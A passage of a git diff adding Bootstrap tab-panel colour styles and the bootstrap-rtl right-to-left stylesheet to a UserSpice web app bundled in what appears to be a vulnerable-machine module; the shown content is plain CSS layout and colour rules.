.nav-tabs > li.active > a:focus { + color: #3c763d; + background-color: #fff; + border-color: #d6e9c6; + border-bottom-color: transparent; +} +.with-nav-tabs.panel-success .nav-tabs > li.dropdown .dropdown-menu { + background-color: #dff0d8; + border-color: #d6e9c6; +} +.with-nav-tabs.panel-success .nav-tabs > li.dropdown .dropdown-menu > li > a { + color: #3c763d; +} +.with-nav-tabs.panel-success .nav-tabs > li.dropdown .dropdown-menu > li > a:hover, +.with-nav-tabs.panel-success .nav-tabs > li.dropdown .dropdown-menu > li > a:focus { + background-color: #d6e9c6; +} +.with-nav-tabs.panel-success .nav-tabs > li.dropdown .dropdown-menu > .active > a, +.with-nav-tabs.panel-success .nav-tabs > li.dropdown .dropdown-menu > .active > a:hover, +.with-nav-tabs.panel-success .nav-tabs > li.dropdown .dropdown-menu > .active > a:focus { + color: #fff; + background-color: #3c763d; +} +/********************************************************************/ +/*** PANEL INFO ***/ +.with-nav-tabs.panel-info .nav-tabs > li > a, +.with-nav-tabs.panel-info .nav-tabs > li > a:hover, +.with-nav-tabs.panel-info .nav-tabs > li > a:focus { + color: #31708f; +} +.with-nav-tabs.panel-info .nav-tabs > .open > a, +.with-nav-tabs.panel-info .nav-tabs > .open > a:hover, +.with-nav-tabs.panel-info .nav-tabs > .open > a:focus, +.with-nav-tabs.panel-info .nav-tabs > li > a:hover, +.with-nav-tabs.panel-info .nav-tabs > li > a:focus { + color: #31708f; + background-color: #bce8f1; + border-color: transparent; +} +.with-nav-tabs.panel-info .nav-tabs > li.active > a, +.with-nav-tabs.panel-info .nav-tabs > li.active > a:hover, +.with-nav-tabs.panel-info .nav-tabs > li.active > a:focus { + color: #31708f; + background-color: #fff; + border-color: #bce8f1; + border-bottom-color: transparent; +} +.with-nav-tabs.panel-info .nav-tabs > li.dropdown .dropdown-menu { + background-color: #d9edf7; + border-color: #bce8f1; +} +.with-nav-tabs.panel-info .nav-tabs > li.dropdown .dropdown-menu > li > a { + color: #31708f; +} +.with-nav-tabs.panel-info .nav-tabs > li.dropdown .dropdown-menu > li > a:hover, +.with-nav-tabs.panel-info .nav-tabs > li.dropdown .dropdown-menu > li > a:focus { + background-color: #bce8f1; +} +.with-nav-tabs.panel-info .nav-tabs > li.dropdown .dropdown-menu > .active > a, +.with-nav-tabs.panel-info .nav-tabs > li.dropdown .dropdown-menu > .active > a:hover, +.with-nav-tabs.panel-info .nav-tabs > li.dropdown .dropdown-menu > .active > a:focus { + color: #fff; + background-color: #31708f; +} +/********************************************************************/ +/*** PANEL WARNING ***/ +.with-nav-tabs.panel-warning .nav-tabs > li > a, +.with-nav-tabs.panel-warning .nav-tabs > li > a:hover, +.with-nav-tabs.panel-warning .nav-tabs > li > a:focus { + color: #8a6d3b; +} +.with-nav-tabs.panel-warning .nav-tabs > .open > a, +.with-nav-tabs.panel-warning .nav-tabs > .open > a:hover, +.with-nav-tabs.panel-warning .nav-tabs > .open > a:focus, +.with-nav-tabs.panel-warning .nav-tabs > li > a:hover, +.with-nav-tabs.panel-warning .nav-tabs > li > a:focus { + color: #8a6d3b; + background-color: #faebcc; + border-color: transparent; +} +.with-nav-tabs.panel-warning .nav-tabs > li.active > a, +.with-nav-tabs.panel-warning .nav-tabs > li.active > a:hover, +.with-nav-tabs.panel-warning .nav-tabs > li.active > a:focus { + color: #8a6d3b; + background-color: #fff; + border-color: #faebcc; + border-bottom-color: transparent; +} +.with-nav-tabs.panel-warning .nav-tabs > li.dropdown .dropdown-menu { + background-color: #fcf8e3; + border-color: #faebcc; +} +.with-nav-tabs.panel-warning .nav-tabs > li.dropdown .dropdown-menu > li > a { + color: #8a6d3b; +} +.with-nav-tabs.panel-warning .nav-tabs > li.dropdown .dropdown-menu > li > a:hover, +.with-nav-tabs.panel-warning .nav-tabs > li.dropdown .dropdown-menu > li > a:focus { + background-color: #faebcc; +} +.with-nav-tabs.panel-warning .nav-tabs > li.dropdown .dropdown-menu > .active > a, +.with-nav-tabs.panel-warning .nav-tabs > li.dropdown .dropdown-menu > .active > a:hover, +.with-nav-tabs.panel-warning .nav-tabs > li.dropdown .dropdown-menu > .active > a:focus { + color: #fff; + background-color: #8a6d3b; +} +/********************************************************************/ +/*** PANEL DANGER ***/ +.with-nav-tabs.panel-danger .nav-tabs > li > a, +.with-nav-tabs.panel-danger .nav-tabs > li > a:hover, +.with-nav-tabs.panel-danger .nav-tabs > li > a:focus { + color: #a94442; +} +.with-nav-tabs.panel-danger .nav-tabs > .open > a, +.with-nav-tabs.panel-danger .nav-tabs > .open > a:hover, +.with-nav-tabs.panel-danger .nav-tabs > .open > a:focus, +.with-nav-tabs.panel-danger .nav-tabs > li > a:hover, +.with-nav-tabs.panel-danger .nav-tabs > li > a:focus { + color: #a94442; + background-color: #ebccd1; + border-color: transparent; +} +.with-nav-tabs.panel-danger .nav-tabs > li.active > a, +.with-nav-tabs.panel-danger .nav-tabs > li.active > a:hover, +.with-nav-tabs.panel-danger .nav-tabs > li.active > a:focus { + color: #a94442; + background-color: #fff; + border-color: #ebccd1; + border-bottom-color: transparent; +} +.with-nav-tabs.panel-danger .nav-tabs > li.dropdown .dropdown-menu { + background-color: #f2dede; /* bg color */ + border-color: #ebccd1; /* border color */ +} +.with-nav-tabs.panel-danger .nav-tabs > li.dropdown .dropdown-menu > li > a { + color: #a94442; /* normal text color */ +} +.with-nav-tabs.panel-danger .nav-tabs > li.dropdown .dropdown-menu > li > a:hover, +.with-nav-tabs.panel-danger .nav-tabs > li.dropdown .dropdown-menu > li > a:focus { + background-color: #ebccd1; /* hover bg color */ +} +.with-nav-tabs.panel-danger .nav-tabs > li.dropdown .dropdown-menu > .active > a, +.with-nav-tabs.panel-danger .nav-tabs > li.dropdown .dropdown-menu > .active > a:hover, +.with-nav-tabs.panel-danger .nav-tabs > li.dropdown .dropdown-menu > .active > a:focus { + color: #fff; /* active text color */ + background-color: #a94442; /* active bg color */ +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/blank.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/blank.css new file mode 100644 index 000000000..e69de29bb diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-rtl.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-rtl.css new file mode 100644 index 000000000..33095b1e1 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-rtl.css @@ -0,0 +1,1536 @@ +/******************************************************************************* + * bootstrap-rtl (Version 3.2.0-rc1) + * Author: Morteza Ansarinia (http://github.com/morteza) + * Created on: June 13,2014 + * Project: bootstrap-rtl + * Copyright: See the file "LICENSE.md" for the full license governing this code. + *******************************************************************************/ + +html { + direction: rtl; +} +body { + direction: rtl; +} +.list-unstyled { + padding-right: 0; + padding-left: none; +} +.list-inline { + padding-right: 0; + padding-left: none; + margin-right: -5px; + margin-left: 0; +} +dd { + margin-right: 0; + margin-left: none; +} +@media (min-width: 768px) { + .dl-horizontal dt { + float: right; + clear: right; + text-align: left; + } + .dl-horizontal dd { + margin-right: 180px; + margin-left: 0; + } +} +blockquote { + border-right: 5px solid #eeeeee; + border-left: 0; +} +.blockquote-reverse, +blockquote.pull-left { + padding-left: 15px; + padding-right: 0; + border-left: 5px solid #eeeeee; + border-right: 0; + text-align: left; +} +.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { + position: relative; + min-height: 1px; + padding-left: 15px; + padding-right: 15px; +} +.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { + float: right; +} +.col-xs-12 { + width: 100%; +} +.col-xs-11 { + width: 91.66666667%; +} +.col-xs-10 { + width: 83.33333333%; +} +.col-xs-9 { + width: 75%; +} +.col-xs-8 { + width: 66.66666667%; +} +.col-xs-7 { + width: 58.33333333%; +} +.col-xs-6 { + width: 50%; +} +.col-xs-5 { + width: 41.66666667%; +} +.col-xs-4 { + width: 33.33333333%; +} +.col-xs-3 { + width: 25%; +} +.col-xs-2 { + width: 16.66666667%; +} +.col-xs-1 { + width: 8.33333333%; +} +.col-xs-pull-12 { + left: 100%; + right: auto; +} +.col-xs-pull-11 { + left: 91.66666667%; + right: auto; +} +.col-xs-pull-10 { + left: 83.33333333%; + right: auto; +} +.col-xs-pull-9 { + left: 75%; + right: auto; +} +.col-xs-pull-8 { + left: 66.66666667%; + right: auto; +} +.col-xs-pull-7 { + left: 58.33333333%; + right: auto; +} +.col-xs-pull-6 { + left: 50%; + right: auto; +} +.col-xs-pull-5 { + left: 41.66666667%; + right: auto; +} +.col-xs-pull-4 { + left: 33.33333333%; + right: auto; +} +.col-xs-pull-3 { + left: 25%; + right: auto; +} +.col-xs-pull-2 { + left: 16.66666667%; + right: auto; +} +.col-xs-pull-1 { + left: 8.33333333%; + right: auto; +} +.col-xs-pull-0 { + left: auto; + right: auto; +} +.col-xs-push-12 { + right: 100%; + left: 0; +} +.col-xs-push-11 { + right: 91.66666667%; + left: 0; +} +.col-xs-push-10 { + right: 83.33333333%; + left: 0; +} +.col-xs-push-9 { + right: 75%; + left: 0; +} +.col-xs-push-8 { + right: 66.66666667%; + left: 0; +} +.col-xs-push-7 { + right: 58.33333333%; + left: 0; +} +.col-xs-push-6 { + right: 50%; + left: 0; +} +.col-xs-push-5 { + right: 41.66666667%; + left: 0; +} +.col-xs-push-4 { + right: 33.33333333%; + left: 0; +} +.col-xs-push-3 { + right: 25%; + left: 0; +} +.col-xs-push-2 { + right: 16.66666667%; + left: 0; +} +.col-xs-push-1 { + right: 8.33333333%; + left: 0; +} +.col-xs-push-0 { + right: auto; + left: 0; +} +.col-xs-offset-12 { + margin-right: 100%; + margin-left: 0; +} +.col-xs-offset-11 { + margin-right: 91.66666667%; + margin-left: 0; +} +.col-xs-offset-10 { + margin-right: 83.33333333%; + margin-left: 0; +} +.col-xs-offset-9 { + margin-right: 75%; + margin-left: 0; +} +.col-xs-offset-8 { + margin-right: 66.66666667%; + margin-left: 0; +} +.col-xs-offset-7 { + margin-right: 58.33333333%; + margin-left: 0; +} +.col-xs-offset-6 { + margin-right: 50%; + margin-left: 0; +} +.col-xs-offset-5 { + margin-right: 41.66666667%; + margin-left: 0; +} +.col-xs-offset-4 { + margin-right: 33.33333333%; + margin-left: 0; +} +.col-xs-offset-3 { + margin-right: 25%; + margin-left: 0; +} +.col-xs-offset-2 { + margin-right: 16.66666667%; + margin-left: 0; +} +.col-xs-offset-1 { + margin-right: 8.33333333%; + margin-left: 0; +} +.col-xs-offset-0 { + margin-right: 0%; + margin-left: 0; +} +@media (min-width: 768px) { + .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { + float: right; + } + .col-sm-12 { + width: 100%; + } + .col-sm-11 { + width: 91.66666667%; + } + .col-sm-10 { + width: 83.33333333%; + } + .col-sm-9 { + width: 75%; + } + .col-sm-8 { + width: 66.66666667%; + } + .col-sm-7 { + width: 58.33333333%; + } + .col-sm-6 { + width: 50%; + } + .col-sm-5 { + width: 41.66666667%; + } + .col-sm-4 { + width: 33.33333333%; + } + .col-sm-3 { + width: 25%; + } + .col-sm-2 { + width: 16.66666667%; + } + .col-sm-1 { + width: 8.33333333%; + } + .col-sm-pull-12 { + left: 100%; + right: auto; + } + .col-sm-pull-11 { + left: 91.66666667%; + right: auto; + } + .col-sm-pull-10 { + left: 83.33333333%; + right: auto; + } + .col-sm-pull-9 { + left: 75%; + right: auto; + } + .col-sm-pull-8 { + left: 66.66666667%; + right: auto; + } + .col-sm-pull-7 { + left: 58.33333333%; + right: auto; + } + .col-sm-pull-6 { + left: 50%; + right: auto; + } + .col-sm-pull-5 { + left: 41.66666667%; + right: auto; + } + .col-sm-pull-4 { + left: 33.33333333%; + right: auto; + } + .col-sm-pull-3 { + left: 25%; + right: auto; + } + .col-sm-pull-2 { + left: 16.66666667%; + right: auto; + } + .col-sm-pull-1 { + left: 8.33333333%; + right: auto; + } + .col-sm-pull-0 { + left: auto; + right: auto; + } + .col-sm-push-12 { + right: 100%; + left: 0; + } + .col-sm-push-11 { + right: 91.66666667%; + left: 0; + } + .col-sm-push-10 { + right: 83.33333333%; + left: 0; + } + .col-sm-push-9 { + right: 75%; + left: 0; + } + .col-sm-push-8 { + right: 66.66666667%; + left: 0; + } + .col-sm-push-7 { + right: 58.33333333%; + left: 0; + } + .col-sm-push-6 { + right: 50%; + left: 0; + } + .col-sm-push-5 { + right: 41.66666667%; + left: 0; + } + .col-sm-push-4 { + right: 33.33333333%; + left: 0; + } + .col-sm-push-3 { + right: 25%; + left: 0; + } + .col-sm-push-2 { + right: 16.66666667%; + left: 0; + } + .col-sm-push-1 { + right: 8.33333333%; + left: 0; + } + .col-sm-push-0 { + right: auto; + left: 0; + } + .col-sm-offset-12 { + margin-right: 100%; + margin-left: 0; + } + .col-sm-offset-11 { + margin-right: 91.66666667%; + margin-left: 0; + } + .col-sm-offset-10 { + margin-right: 83.33333333%; + margin-left: 0; + } + .col-sm-offset-9 { + margin-right: 75%; + margin-left: 0; + } + .col-sm-offset-8 { + margin-right: 66.66666667%; + margin-left: 0; + } + .col-sm-offset-7 { + margin-right: 58.33333333%; + margin-left: 0; + } + .col-sm-offset-6 { + margin-right: 50%; + margin-left: 0; + } + .col-sm-offset-5 { + margin-right: 41.66666667%; + margin-left: 0; + } + .col-sm-offset-4 { + margin-right: 33.33333333%; + margin-left: 0; + } + .col-sm-offset-3 { + margin-right: 25%; + margin-left: 0; + } + .col-sm-offset-2 { + margin-right: 16.66666667%; + margin-left: 0; + } + .col-sm-offset-1 { + margin-right: 8.33333333%; + margin-left: 0; + } + .col-sm-offset-0 { + margin-right: 0%; + margin-left: 0; + } +} +@media (min-width: 992px) { + .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { + float: right; + } + .col-md-12 { + width: 100%; + } + .col-md-11 { + width: 91.66666667%; + } + .col-md-10 { + width: 83.33333333%; + } + .col-md-9 { + width: 75%; + } + .col-md-8 { + width: 66.66666667%; + } + .col-md-7 { + width: 58.33333333%; + } + .col-md-6 { + width: 50%; + } + .col-md-5 { + width: 41.66666667%; + } + .col-md-4 { + width: 33.33333333%; + } + .col-md-3 { + width: 25%; + } + .col-md-2 { + width: 16.66666667%; + } + .col-md-1 { + width: 8.33333333%; + } + .col-md-pull-12 { + left: 100%; + right: auto; + } + .col-md-pull-11 { + left: 91.66666667%; + right: auto; + } + .col-md-pull-10 { + left: 83.33333333%; + right: auto; + } + .col-md-pull-9 { + left: 75%; + right: auto; + } + .col-md-pull-8 { + left: 66.66666667%; + right: auto; + } + .col-md-pull-7 { + left: 58.33333333%; + right: auto; + } + .col-md-pull-6 { + left: 50%; + right: auto; + } + .col-md-pull-5 { + left: 41.66666667%; + right: auto; + } + .col-md-pull-4 { + left: 33.33333333%; + right: auto; + } + .col-md-pull-3 { + left: 25%; + right: auto; + } + .col-md-pull-2 { + left: 16.66666667%; + right: auto; + } + .col-md-pull-1 { + left: 8.33333333%; + right: auto; + } + .col-md-pull-0 { + left: auto; + right: auto; + } + .col-md-push-12 { + right: 100%; + left: 0; + } + .col-md-push-11 { + right: 91.66666667%; + left: 0; + } + .col-md-push-10 { + right: 83.33333333%; + left: 0; + } + .col-md-push-9 { + right: 75%; + left: 0; + } + .col-md-push-8 { + right: 66.66666667%; + left: 0; + } + .col-md-push-7 { + right: 58.33333333%; + left: 0; + } + .col-md-push-6 { + right: 50%; + left: 0; + } + .col-md-push-5 { + right: 41.66666667%; + left: 0; + } + .col-md-push-4 { + right: 33.33333333%; + left: 0; + } + .col-md-push-3 { + right: 25%; + left: 0; + } + .col-md-push-2 { + right: 16.66666667%; + left: 0; + } + .col-md-push-1 { + right: 8.33333333%; + left: 0; + } + .col-md-push-0 { + right: auto; + left: 0; + } + .col-md-offset-12 { + margin-right: 100%; + margin-left: 0; + } + .col-md-offset-11 { + margin-right: 91.66666667%; + margin-left: 0; + } + .col-md-offset-10 { + margin-right: 83.33333333%; + margin-left: 0; + } + .col-md-offset-9 { + margin-right: 75%; + margin-left: 0; + } + .col-md-offset-8 { + margin-right: 66.66666667%; + margin-left: 0; + } + .col-md-offset-7 { + margin-right: 58.33333333%; + margin-left: 0; + } + .col-md-offset-6 { + margin-right: 50%; + margin-left: 0; + } + .col-md-offset-5 { + margin-right: 41.66666667%; + margin-left: 0; + } + .col-md-offset-4 { + margin-right: 33.33333333%; + margin-left: 0; + } + .col-md-offset-3 { + margin-right: 25%; + margin-left: 0; + } + .col-md-offset-2 { + margin-right: 16.66666667%; + margin-left: 0; + } + .col-md-offset-1 { + margin-right: 8.33333333%; + margin-left: 0; + } + .col-md-offset-0 { + margin-right: 0%; + margin-left: 0; + } +} +@media (min-width: 1200px) { + .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { + float: right; + } + .col-lg-12 { + width: 100%; + } + .col-lg-11 { + width: 91.66666667%; + } + .col-lg-10 { + width: 83.33333333%; + } + .col-lg-9 { + width: 75%; + } + .col-lg-8 { + width: 66.66666667%; + } + .col-lg-7 { + width: 58.33333333%; + } + .col-lg-6 { + width: 50%; + } + .col-lg-5 { + width: 41.66666667%; + } + .col-lg-4 { + width: 33.33333333%; + } + .col-lg-3 { + width: 25%; + } + .col-lg-2 { + width: 16.66666667%; + } + .col-lg-1 { + width: 8.33333333%; + } + .col-lg-pull-12 { + left: 100%; + right: auto; + } + .col-lg-pull-11 { + left: 91.66666667%; + right: auto; + } + .col-lg-pull-10 { + left: 83.33333333%; + right: auto; + } + .col-lg-pull-9 { + left: 75%; + right: auto; + } + .col-lg-pull-8 { + left: 66.66666667%; + right: auto; + } + .col-lg-pull-7 { + left: 58.33333333%; + right: auto; + } + .col-lg-pull-6 { + left: 50%; + right: auto; + } + .col-lg-pull-5 { + left: 41.66666667%; + right: auto; + } + .col-lg-pull-4 { + left: 33.33333333%; + right: auto; + } + .col-lg-pull-3 { + left: 25%; + right: auto; + } + .col-lg-pull-2 { + left: 16.66666667%; + right: auto; + } + .col-lg-pull-1 { + left: 8.33333333%; + right: auto; + } + .col-lg-pull-0 { + left: auto; + right: auto; + } + .col-lg-push-12 { + right: 100%; + left: 0; + } + .col-lg-push-11 { + right: 91.66666667%; + left: 0; + } + .col-lg-push-10 { + right: 83.33333333%; + left: 0; + } + .col-lg-push-9 { + right: 75%; + left: 0; + } + .col-lg-push-8 { + right: 66.66666667%; + left: 0; + } + .col-lg-push-7 { + right: 58.33333333%; + left: 0; + } + .col-lg-push-6 { + right: 50%; + left: 0; + } + .col-lg-push-5 { + right: 41.66666667%; + left: 0; + } + .col-lg-push-4 { + right: 33.33333333%; + left: 0; + } + .col-lg-push-3 { + right: 25%; + left: 0; + } + .col-lg-push-2 { + right: 16.66666667%; + left: 0; + } + .col-lg-push-1 { + right: 8.33333333%; + left: 0; + } + .col-lg-push-0 { + right: auto; + left: 0; + } + .col-lg-offset-12 { + margin-right: 100%; + margin-left: 0; + } + .col-lg-offset-11 { + margin-right: 91.66666667%; + margin-left: 0; + } + .col-lg-offset-10 { + margin-right: 83.33333333%; + margin-left: 0; + } + .col-lg-offset-9 { + margin-right: 75%; + margin-left: 0; + } + .col-lg-offset-8 { + margin-right: 66.66666667%; + margin-left: 0; + } + .col-lg-offset-7 { + margin-right: 58.33333333%; + margin-left: 0; + } + .col-lg-offset-6 { + margin-right: 50%; + margin-left: 0; + } + .col-lg-offset-5 { + margin-right: 41.66666667%; + margin-left: 0; + } + .col-lg-offset-4 { + margin-right: 33.33333333%; + margin-left: 0; + } + .col-lg-offset-3 { + margin-right: 25%; + margin-left: 0; + } + .col-lg-offset-2 { + margin-right: 16.66666667%; + margin-left: 0; + } + .col-lg-offset-1 { + margin-right: 8.33333333%; + margin-left: 0; + } + .col-lg-offset-0 { + margin-right: 0%; + margin-left: 0; + } +} +th { + text-align: right; +} +@media screen and (max-width: 767px) { + .table-responsive > .table-bordered { + border: 0; + } + .table-responsive > .table-bordered > thead > tr > th:first-child, + .table-responsive > .table-bordered > tbody > tr > th:first-child, + .table-responsive > .table-bordered > tfoot > tr > th:first-child, + .table-responsive > .table-bordered > thead > tr > td:first-child, + .table-responsive > .table-bordered > tbody > tr > td:first-child, + .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-right: 0; + border-left: auto; + } + .table-responsive > .table-bordered > thead > tr > th:last-child, + .table-responsive > .table-bordered > tbody > tr > th:last-child, + .table-responsive > .table-bordered > tfoot > tr > th:last-child, + .table-responsive > .table-bordered > thead > tr > td:last-child, + .table-responsive > .table-bordered > tbody > tr > td:last-child, + .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-left: 0; + border-right: auto; + } +} +.radio label, +.checkbox label { + padding-right: 20px; + padding-left: auto; +} +.radio input[type="radio"], +.radio-inline input[type="radio"], +.checkbox input[type="checkbox"], +.checkbox-inline input[type="checkbox"] { + float: right; + margin-right: 20px; + margin-left: 0; +} +.radio-inline, +.checkbox-inline { + padding-right: 20px; + padding-left: 0; +} +.radio-inline + .radio-inline, +.checkbox-inline + .checkbox-inline { + margin-right: 10px; + margin-left: 0; +} +.has-feedback .form-control { + padding-left: 42.5px; + padding-right: auto; +} +.form-control-feedback { + left: 0; + right: auto; +} +@media (min-width: 768px) { + .form-inline .radio, + .form-inline .checkbox { + padding-right: 0; + padding-left: auto; + } + .form-inline .radio input[type="radio"], + .form-inline .checkbox input[type="checkbox"] { + margin-right: 0; + margin-left: auto; + } +} +@media (min-width: 768px) { + .form-horizontal .control-label { + text-align: left; + } +} +.form-horizontal .has-feedback .form-control-feedback { + left: 15px; + right: auto; +} +.caret { + margin-right: 2px; + margin-left: 0; +} +.dropdown-menu { + right: 0; + left: auto; + float: left; + text-align: right; +} +.dropdown-menu.pull-left { + left: 0; + float: right; + right: auto; +} +.pull-left > .dropdown-menu { + left: 0; + float: right; + right: auto; +} +.navbar-nav.pull-left > li > .dropdown-menu, +.navbar-nav > li > .dropdown-menu.pull-left { + right: auto; + left: 0; +} +.btn-group > .btn, +.btn-group-vertical > .btn { + float: right; +} +.btn-group > .btn:hover, +.btn-group-vertical > .btn:hover, +.btn-group > .btn:focus, +.btn-group-vertical > .btn:focus, +.btn-group > .btn:active, +.btn-group-vertical > .btn:active, +.btn-group > .btn.active, +.btn-group-vertical > .btn.active { + z-index: 2; +} +.btn-group .btn + .btn, +.btn-group .btn + .btn-group, +.btn-group .btn-group + .btn, +.btn-group .btn-group + .btn-group { + margin-right: -1px; + margin-left: 0px; +} +.btn-toolbar { + margin-right: -5px; + margin-left: 0px; +} +.btn-toolbar .btn-group, +.btn-toolbar .input-group { + float: right; +} +.btn-toolbar > .btn, +.btn-toolbar > .btn-group, +.btn-toolbar > .input-group { + margin-right: 5px; + margin-left: 0px; +} +.btn-group > .btn:first-child { + margin-right: 0; +} +.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.btn-group > .btn:last-child:not(:first-child), +.btn-group > .dropdown-toggle:not(:first-child) { + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.btn-group > .btn-group { + float: right; +} +.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group > .btn-group:first-child > .btn:last-child, +.btn-group > .btn-group:first-child > .dropdown-toggle { + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.btn-group > .btn-group:last-child > .btn:first-child { + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.btn .caret { + margin-right: 0; +} +.btn-group-vertical > .btn + .btn, +.btn-group-vertical > .btn + .btn-group, +.btn-group-vertical > .btn-group + .btn, +.btn-group-vertical > .btn-group + .btn-group { + margin-top: -1px; + margin-right: 0; +} +.input-group .form-control { + float: right; +} +.input-group .form-control:first-child, +.input-group-addon:first-child, +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group > .btn, +.input-group-btn:first-child > .dropdown-toggle, +.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), +.input-group-btn:last-child > .btn-group:not(:last-child) > .btn { + border-bottom-right-radius: 4px; + border-top-right-radius: 4px; + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.input-group-addon:first-child { + border-right: 1px solid #cccccc; + border-left: 0px; +} +.input-group .form-control:last-child, +.input-group-addon:last-child, +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group > .btn, +.input-group-btn:last-child > .dropdown-toggle, +.input-group-btn:first-child > .btn:not(:first-child), +.input-group-btn:first-child > .btn-group:not(:first-child) > .btn { + border-bottom-left-radius: 4px; + border-top-left-radius: 4px; + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.input-group-addon:last-child { + border-left: 1px solid #cccccc; + border-right: 0px; +} +.input-group-btn > .btn + .btn { + margin-right: -1px; + margin-left: auto; +} +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group { + margin-left: -1px; + margin-right: auto; +} +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group { + margin-right: -1px; + margin-left: auto; +} +.nav { + padding-right: 0; + padding-left: auto; +} +.nav-tabs > li { + float: right; +} +.nav-tabs > li > a { + margin-left: auto; + margin-right: -2px; + border-radius: 4px 4px 0 0; +} +.nav-pills > li { + float: right; +} +.nav-pills > li > a { + border-radius: 4px; +} +.nav-pills > li + li { + margin-right: 2px; + margin-left: auto; +} +.nav-stacked > li { + float: none; +} +.nav-stacked > li + li { + margin-right: 0; + margin-left: auto; +} +.nav-justified > .dropdown .dropdown-menu { + right: auto; +} +.nav-tabs-justified > li > a { + margin-left: 0; + margin-right: auto; +} +@media (min-width: 768px) { + .nav-tabs-justified > li > a { + border-radius: 4px 4px 0 0; + } +} +@media (min-width: 768px) { + .navbar-header { + float: right; + } +} +.navbar-collapse { + padding-right: 15px; + padding-left: 15px; +} +.navbar-brand { + float: right; +} +@media (min-width: 768px) { + .navbar > .container .navbar-brand, + .navbar > .container-fluid .navbar-brand { + margin-right: -15px; + margin-left: auto; + } +} +.navbar-toggle { + float: left; + margin-left: 15px; + margin-right: auto; +} +@media (max-width: 767px) { + .navbar-nav .open .dropdown-menu > li > a, + .navbar-nav .open .dropdown-menu .dropdown-header { + padding: 5px 25px 5px 15px; + } +} +@media (min-width: 768px) { + .navbar-nav { + float: right; + } + .navbar-nav > li { + float: right; + } + .navbar-nav.navbar-right:last-child { + margin-left: -15px; + margin-right: auto; + } + .navbar-nav.navbar-right.flip { + float: left !important; + } + .navbar-nav.navbar-right .dropdown-menu { + left: 0; + right: auto; + } +} +@media (min-width: 768px) { + .navbar-text { + float: right; + } + .navbar-text.navbar-right:last-child { + margin-left: 0; + margin-right: auto; + } +} +.pagination { + padding-right: 0; +} +.pagination > li > a, +.pagination > li > span { + float: right; + margin-right: -1px; + margin-left: 0px; +} +.pagination > li:first-child > a, +.pagination > li:first-child > span { + margin-left: 0; + border-bottom-right-radius: 4px; + border-top-right-radius: 4px; + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.pagination > li:last-child > a, +.pagination > li:last-child > span { + margin-right: -1px; + border-bottom-left-radius: 4px; + border-top-left-radius: 4px; + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.pager { + padding-right: 0; + padding-left: none; +} +.pager .next > a, +.pager .next > span { + float: left; +} +.pager .previous > a, +.pager .previous > span { + float: right; +} +.nav-pills > li > a > .badge { + margin-left: 0px; + margin-right: 3px; +} +.alert-dismissable { + padding-left: 35px; + padding-right: 15px; +} +.alert-dismissable .close { + top: -2px; + right: 0; + left: 21; +} +.progress-bar { + float: right; +} +.media, +.media-body { + overflow: hidden; + zoom: 1; +} +.media > .pull-left { + margin-right: 10px; +} +.media > .pull-left.flip { + margin-right: 0; + margin-left: 10px; +} +.media > .pull-right { + margin-left: 10px; +} +.media > .pull-right.flip { + margin-left: 0; + margin-right: 10px; +} +.media-list { + padding-right: 0; + padding-left: auto; + list-style: none; +} +.list-group { + padding-right: 0; + padding-left: none; +} +.list-group-item > .badge { + float: left; +} +.list-group-item > .badge + .badge { + margin-ight: 5px; + margin-left: 0; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, 